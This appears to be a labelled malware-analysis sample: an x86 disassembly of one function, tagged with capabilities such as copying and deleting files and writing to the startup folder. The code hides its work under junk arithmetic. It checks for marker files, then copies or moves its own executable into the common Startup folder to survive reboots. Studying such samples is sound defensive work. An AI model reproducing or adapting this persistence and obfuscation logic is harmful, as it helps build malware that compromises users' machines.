Function at 0x40e230
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x45e540]
xor eax, esp
mov dword [esp + 0x300], eax
push ebx
push esi
mov esi, dword [0x45cbcc]
push edi
mov edi, dword [0x45cbe4]
mov eax, 0x315a5211
imul edi
mov eax, dword [0x45cbd0]
lea ebx, [eax + esi]
sar edx, 0x18
imul ebx, ebx, 0x3e51956
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x993c2c11
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
sub ebx, eax
imul edx, edx, 0x222559d
add ebx, edx
mov eax, 0x680c7cd1
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
mov esi, dword [str._r_____r____]
imul edx, edx, 0xfcfe96
add eax, ecx
add eax, ebx
add edx, eax
mov eax, dword [0x45cbc8]
mov dword [0x45cbdc], edx
mov edx, dword [0x45cbd4]
lea edi, [edx + eax]
mov eax, 0x3b012ec7
imul edi, edi, 0x23193db
imul esi
imul esi, esi, 0x4ebb783
sar edx, 0x18
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45cbd8]
mov eax, 0x680c7cd1
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x83740ec5
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, esi
add eax, edx
sub ebx, eax
sub ebx, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45cbe4], ebx
call fcn.004306dd
add esp, 8
cmp eax, 0xffffffff
je 0x40e80e
push 0
push str.C:Program_FilesWindows_NTAccessOries1.in
call fcn.004306dd
add esp, 8
cmp eax, 0xffffffff
je 0x40e80e
mov ecx, dword [0x45cbe4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45cbd0]
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x14e459e
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x342745e1
imul ecx
mov eax, dword [0x45cbc8]
imul eax, eax, 0xfcfe96
sar edx, 0x18
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
push ebp
mov ecx, edx
add esi, edx
push 0x104
lea edx, [esp + 0x214]
shr ecx, 0x1f
push edx
add ecx, esi
push 0
mov dword [0x45cbc8], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.00431140
push str..exe
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x20]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.00430341
mov edx, dword [0x45cbdc]
mov ecx, dword [0x45cbd8]
mov eax, 0x315a5211
imul edx
sar edx, 0x18
mov edi, ecx
imul edi, edi, 0x52fe876
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
sub edi, eax
imul edx, edx, 0x3575d9d
mov eax, dword [0x45cbe8]
imul eax, eax, 0x5335ef4
add edi, edx
mov edx, dword [0x45cbd0]
add edi, eax
mov eax, 0x3b012ec7
imul edx
add esp, 0x18
sar edx, 0x18
mov eax, edx
mov ebp, dword [0x45cbe4]
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add edi, edx
push 0
add ecx, edi
push 0x18
lea edx, [esp + 0x118]
sub ecx, ebp
push edx
sub ecx, 0xfcfe96
push 0
mov dword [0x45cbd0], ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e4c0
sub eax, ecx
push esi
lea eax, [esp + eax + 0x114]
push 0x44d26c
push eax
call fcn.00430341
mov ecx, dword [0x45cbe8]
mov esi, dword [0x45cbd4]
mov eax, 0xc4e5d61
imul ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
sub ebx, eax
imul edx, edx, 0x4ebb783
mov edi, dword [0x45cbe0]
add ebx, edx
mov eax, 0x342745e1
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x74b32761
imul edi
imul edi, edi, 0x23193db
sar edx, 0x18
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0xfcfe96
shr eax, 0x1f
add eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add eax, edi
sub eax, edx
add esp, 0xc
mov dword [0x45cbd8], eax
xor edi, edi
jmp 0x40e580
mov eax, dword [0x45cbd8]
mov esi, dword [0x45cbd4]
mov ecx, dword [0x45cbe8]
lea ecx, [ecx]
mov edx, dword [0x45cbd0]
imul eax, eax, 0x222559d
imul esi, esi, 0x5335ef4
lea ebp, [ecx + edx]
mov edx, dword [0x45cbcc]
imul ebp, ebp, 0x456b154
sub ebp, esi
add ebp, eax
mov eax, 0x3b012ec7
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
add ebp, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, ebp
lea eax, [esp + 0x10]
sub ecx, edx
push 0
push eax
mov dword [0x45cbe0], ecx
call fcn.004306dd
add esp, 8
cmp eax, 0xffffffff
je 0x40e606
lea ecx, [esp + 0x10]
push ecx
call ebx
inc edi
cmp edi, 0x64
jl 0x40e56c
mov ecx, dword [0x45cbd0]
mov edx, dword [0x45cbd8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x4ebb783
mov esi, dword [0x45cbc8]
imul edi, edi, 0x4e899b9
mov eax, 0x3bfa58a9
imul dword [str._r_____r____]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
add edi, edx
mov ebx, edx
mov eax, 0x74b32761
imul esi
mov esi, dword [0x45cbe4]
shr ebx, 0x1f
add ebx, edi
sub ebx, ecx
sar edx, 0x18
add ebx, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [esp + 0x318]
sub ecx, edx
test ebx, ebx
mov dword [0x45cbe8], ecx
je 0x40e690
cmp ebx, 2
jne 0x40e771
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x18]
push ecx
call edi
test eax, eax
jne 0x40e765
mov esi, dword [0x45cbd4]
mov ecx, dword [0x45cbcc]
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
mov ebp, eax
imul edx, edx, 0x3575d9d
mov eax, dword [0x45cbe8]
imul eax, eax, 0x5335ef4
sub ebp, ebx
add ebp, edx
add ebp, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov esi, edx
add ebp, edx
mov edx, ecx
imul edx, edx, 0x4e899b9
shr esi, 0x1f
add esi, ebp
add esi, edx
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
push 6
add eax, edx
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
sub esi, eax
push edx
mov dword [str._r_____r____], esi
call edi
mov eax, 0xfffffffe
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x300]
xor ecx, esp
call fcn.0043016d
add esp, 0x304
ret
mov esi, dword [0x45cbe4]
mov ecx, dword [0x45cbe8]
mov edi, dword [0x45cbd4]
imul ecx, ecx, 0x5335ef4
imul esi, esi, 0xfcfe96
mov eax, 0x993c2c11
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0x680c7cd1
imul edi
sub ebp, ecx
mov ecx, dword [0x45cbe0]
sar edx, 0x19
imul ecx, ecx, 0x4e899b9
mov edi, edx
add ebp, edx
shr edi, 0x1f
add edi, ebp
add edi, ecx
mov ecx, dword [0x45cbcc]
mov eax, 0x74b32761
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
add eax, esi
sub eax, edx
add eax, 0x456b154
cmp ebx, 1
mov dword [0x45cbcc], eax
je 0x40e7f2
cmp ebx, 2
jne 0x40e807
push 0
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e74c
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.0043016d
add esp, 0x304
ret